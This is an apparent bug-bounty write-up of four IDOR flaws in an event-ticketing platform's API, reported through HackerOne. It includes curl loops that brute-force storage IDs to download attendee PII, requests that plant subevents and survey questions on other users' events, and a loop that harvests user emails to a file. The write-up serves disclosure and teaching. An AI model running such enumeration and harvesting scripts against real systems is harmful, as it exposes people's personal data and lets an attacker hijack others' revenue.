Modest Payouts, Major Payoff: 4 IDORs That Netted $12K
作者在HackerOne上发现4个严重的IDOR漏洞,每个漏洞获得$3,000奖励(总计$12,000)。这些漏洞涉及API端点中的未授权访问或数据泄露问题。作者通过详细分析和复现步骤展示了漏洞的影响,并提供了检测建议。文章强调培养IDOR思维的重要性,并分享了如何通过组合参数和测试创建操作来提升攻击效果的方法。 2025-5-5 09:28:41 Author: infosecwriteups.com(查看原文) 阅读量:9 收藏

Ashutosh Dutta

TL;DR

  • Discovered 4 simple IDORs in a private program on HackerOne.
  • Each earned $3 000 (4 × $3 000 = $12 000 total)
  • For each: Endpoint → Vulnerable Parameter(s) → Repro Steps → Impact → Detection Tips
  • End with key takeaways.

Note: This blog highlights the most impactful issues I reported to the private program. Although I submitted and was paid for other bugs, these four stood out as the most noteworthy.

An Insecure Direct Object Reference (IDOR) arises when an application exposes internal object identifiers (IDs) without enforcing proper authorization. Attackers who guess or enumerate these IDs can access or manipulate data they shouldn’t. In this write-up, I share four critical IDORs I reported to a private program, each with an unusual real-world impact, and how I demonstrated that impact to earn a combined $12 000 bounty.

Endpoint & Context

GET https://<company>-v1.s3.amazonaws.com/uploads/orders/csv/<ID>/Orders_<EVENT_SLUG>.csv

Vulnerable Parameter(s):

  • ID in the URL path: accepted any integer → unauthenticated download of all attendee PII

Reproduction

for i in {1..1000}; do
curl -s -I "https://<company>-v1.s3.amazonaws.com/uploads/orders/csv/${i}/Orders_<EVENT_SLUG>.csv" \
| grep -q "200 OK" && echo "Found ID $i" && break
done

Impact

  • Data leaked: first/last names, emails, phone numbers, plus any custom registration fields
  • Persistence: URL stays valid indefinitely while the event exists
  • Ease: public EVENT_SLUG + brute-forceable integer ID → full attendee database exposure

Detection Tips

  • Fuzz numeric IDs in object-storage URLs
  • Look for unsigned URLs without expiration or signature

Endpoint & Context

POST /users/123456/events
Content-Type: application/json

{ "event[parent_event]": 6996, /* … */ }

Vulnerable Parameter(s):

  • event[parent_event]: accepted any event ID → attacker creates subevents under victims’ events

Reproduction

curl -X POST https://redacted.com/users/123456/events \
-H "Authorization: Bearer $TOKEN" \
-d '{"event[parent_event]":99999,/* … */}'

Impact

  • Attacker spins up rogue “subevents” under any victim event
  • All registrations/ticket sales funnel to attacker’s account
  • Victim cannot detect or remove the subevent; it appears alongside their legitimate event

Detection Tips

  • Test create-endpoints with other users’ IDs
  • Automate parameter fuzzing against known IDs( owned by you)

Endpoint & Context

POST /users/123456/events/123456/survey_questions

{
"survey_question[event_id]":6996,
"survey_question[ticket_id][]": 7777,
/* … */
}

Vulnerable Parameter(s):

  • survey_question[event_id] & survey_question[ticket_id][]: accepted any public IDs → attacker injects unlimited mandatory questions

Reproduction

curl -X POST https://redacted.com/users/123456/events/123456/survey_questions \
-d '{"survey_question[event_id]":888,"survey_question[ticket_id][]":444,"text":"Spam?","required":true}'

Impact

  • Attacker injects dozens of required questions into any event’s checkout flow. These questions can be anything ranging for highly personal information to racist remarks.
  • Revenue loss: users abandon purchase when faced with spammy or offensive questions
  • Brand risk: derogatory or incendiary questions can damage attendee trust and lead to PR crises

Detection Tips

  • Enumerate both event_id and ticket_id from page source
  • Use Intruder to automate combinations of both parameters

Endpoint & Context

POST /users/123456/events/69996/checklist_todos

{ "checklist_todo[user_id]": <target_user_id>, … }

Vulnerable Parameter(s):

  • checklist_todo[user_id]: accepted any user ID → attacker creates checklists and sees assignee emails in UI

Reproduction

for uid in {1000..1100}; do
curl -X POST https://redacted.com/users/123456/events/69996/checklist_todos \
-d "{\"checklist_todo[user_id]\":$uid}" \
| grep -oP '"email":"\K[^"]+' >> harvested_emails.txt
done

Impact

  • Attacker silently dumps personal emails of any user on the platform
  • No alerts or logs on victim’s side; exfiltration goes undetected

Detection Tips

  • Check for access controls on newly added features. Often they are found vulnerable.

Each issue got triaged and paid as critical. The program paid 3k max for critical severity at the time of reporting these issues.

Total: $12,000

  • Develop an IDOR mindset
    Always question every parameter in every API request. When you see an integer or string that looks like an object reference — be it user_id, event_id, ticket_id, or even an S3 path segment—assume it’s vulnerable until proven otherwise.
  • Leverage publicly exposed IDs
    Scrape page sources, JSON payloads, and URLs for any IDs you can find. Those are your starting points for brute-forcing or fuzzing attacks — just like I used EVENT_SLUG, ticket_id, and user_id straight from the public UI.
  • Combine parameters for richer attacks
    Don’t test parameters in isolation. As with the survey_questions endpoint, pairing event_id and ticket_id[] unlocked a far bigger impact than targeting either alone.
  • Think beyond “read” to “create” operations
    Many hunters focus on data leakage — but IDORs that allow creations (like adding mandatory questions or subevents) can be even more disruptive. Always test POST, PUT, and DELETE endpoints, not just GETs.
  • Demonstrate real-world impact — CVSS scores alone won’t cut it. Show how a vulnerability can: 1. Destroy revenue streams (forced questions blocking checkout) 2. Poison an event’s brand (derogatory custom questions) 3. Exfiltrate entire user bases (bulk email harvesting)
  • Articulate the “why” in your reports
    The clearer you describe the user journey and business fallout, the more likely your report will be triaged as Critical — and paid accordingly.
  • Hacking Private Programs with Modest Bounties — Private programs that cap critical payouts at around $3 000 can feel underwhelming at first glance — but they’re often goldmines. By methodically exploring the core application and investing the time to dive deep, you’ll uncover high-impact issues that others have missed, turning modest per-bug rewards into a surprisingly rich haul.

If you’ve read this till the end, I hope you found value in what I shared. Good luck, and happy hacking!

Connect with me:


文章来源: https://infosecwriteups.com/modest-payouts-major-payoff-4-idors-that-netted-12k-64f4ab6754c0?source=rss----7b722bfd1b8d---4
如有侵权请联系:admin#unsafe.sh